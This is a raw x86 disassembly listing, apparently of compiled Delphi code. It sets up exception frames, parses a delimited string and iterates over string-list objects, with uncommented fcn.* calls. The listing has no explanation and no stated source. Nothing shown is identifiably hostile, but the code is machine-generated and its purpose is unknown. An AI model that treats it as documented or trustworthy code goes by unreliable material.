mov dl, 1
mov eax, dword [0x46a674]
call fcn.0046a8fc
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e0a88
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e0cd4
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1264
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
lea eax, [ebp - 0xec]
call fcn.004d30ec
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0xec]
call fcn.004045b0
lea eax, [ebp - 0xa48]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
mov edx, dword [ebp - 0xa48]
mov eax, dword [ebp - 0xd8]
call fcn.0046a958
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4db944
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [0x53a5c0], eax
mov eax, dword [ebp - 0xd8]
call fcn.0046a9b0
mov eax, dword [0x53a5c0]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4db8f3
mov edx, 0x4dc1ac
mov eax, dword [0x53a5c0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xa4c]
mov eax, dword [0x53a5c0]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa4c]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d6781.10
mov eax, dword [ebp - 0xd8]
call fcn.00403750
mov eax, dword [0x53a5c0]
call fcn.00403750
ret
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov esi, eax
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe8]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dc134
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle 0x4dbbee
cmp dword [ebp - 0x48], 1
jle 0x4db9b6
lea eax, [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
jmp 0x4db9c1
lea eax, [ebp - 0xf4]
call fcn.0040455c
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404aac
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dc134
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xec]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
lea eax, [ebp - 0xec]
call fcn.004d30ec
lea eax, [ebp - 0xec]
call fcn.0046a890
lea eax, [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov edx, 1
call fcn.00404aac
mov edx, dword [ebp - 0xe8]
mov eax, 0x4dc134
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xa50]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
mov edx, dword [ebp - 0xa50]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xa54]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe8]
call fcn.00404a6c
mov edx, dword [ebp - 0xa54]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dbade
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa58]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa58]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edi, eax
mov edx, edi
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dbaaa
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4dbb35
inc eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x48]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa60]
lea eax, [ebp - 0xa5c]
mov edx, dword [ebp - 0xec]
call fcn.00404860
mov eax, dword [ebp - 0xa5c]
call fcn.004098d0
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4dbaf8
cmp dword [ebp - 0xf4], 0
je 0x4dbb8f
lea ecx, [ebp - 0xa68]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xa68]
lea eax, [ebp - 0xa64]
mov edx, dword [ebp - 0xec]
call fcn.00404860
mov eax, dword [ebp - 0xa64]
push eax
lea eax, [ebp - 0xa6c]
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xec]
call fcn.00404860
mov edx, dword [ebp - 0xa6c]
pop eax
call fcn.004098e8
mov al, byte [0x4dbf4c]
push eax
lea eax, [ebp - 0xe8]
push eax
lea edx, [ebp - 0xa74]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xa74]
lea edx, [ebp - 0xa70]
call fcn.00408fb4
mov eax, dword [ebp - 0xa70]
mov ecx, 0x4dc134
mov edx, 0x4dc1c0
call fcn.0040d8e8
push 0
push 0
mov eax, dword [ebp - 0xe8]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x24
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
mov eax, esi
call fcn.00403750
mov eax, dword [ebp - 0x24]
call fcn.00403750
xor eax, eax
mov dword [0x531ee8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4dbebb
lea eax, [ebp - 0xa74]
mov edx, 0xe
call fcn.00404580
lea eax, [ebp - 0xa3c]
call fcn.00404c78
lea eax, [ebp - 0xa38]
call fcn.0040455c
lea eax, [ebp - 0xa34]
call fcn.00404c78
lea eax, [ebp - 0xa30]
call fcn.0040455c
lea eax, [ebp - 0xa2c]
call fcn.00404c78
lea eax, [ebp - 0xa28]
call fcn.0040455c
lea eax, [ebp - 0xa24]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0xa18]
call fcn.0040455c
lea eax, [ebp - 0xa14]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0xa08]
call fcn.0040455c
lea eax, [ebp - 0xa04]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9f8]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x9f0]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9e4]
call fcn.0040455c
lea eax, [ebp - 0x9e0]
mov edx, 6
call fcn.00404c90
lea eax, [ebp - 0x9c8]
call fcn.0040455c
lea eax, [ebp - 0x9c4]
mov edx, 4
call fcn.00404c90
lea eax, [ebp - 0x9b4]
call fcn.0040455c
lea eax, [ebp - 0x9b0]
call fcn.00404c78
lea eax, [ebp - 0x9ac]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x9a4]
call fcn.00404c78
lea eax, [ebp - 0x9a0]
mov edx, 0xb
call fcn.00404580
lea eax, [ebp - 0x974]
call fcn.00404c78
lea eax, [ebp - 0x970]
mov edx, 6
call fcn.00404580
lea eax, [ebp - 0x958]
call fcn.00404c78
lea eax, [ebp - 0x954]
mov edx, 8
call fcn.00404580
lea eax, [ebp - 0x934]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x92c]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x908]
call fcn.00404c78
lea eax, [ebp - 0x904]
mov edx, 5
call fcn.00404580
lea eax, [ebp - 0x8f0]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x8e8]
call fcn.0040455c
lea eax, [ebp - 0x8e4]
call fcn.00404c78
lea eax, [ebp - 0x8e0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x8d4]
call fcn.00404c78
lea eax, [ebp - 0x8d0]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xf8]
mov edx, 5
call fcn.00404580
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xc4]
call fcn.0040455c
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c]
call fcn.0040455c
lea eax, [ebp - 0x88]
call fcn.0040455c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x6c]
call fcn.0040455c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x19]
mov edx, dword [0x4ed9d4]
call fcn.004052d0
ret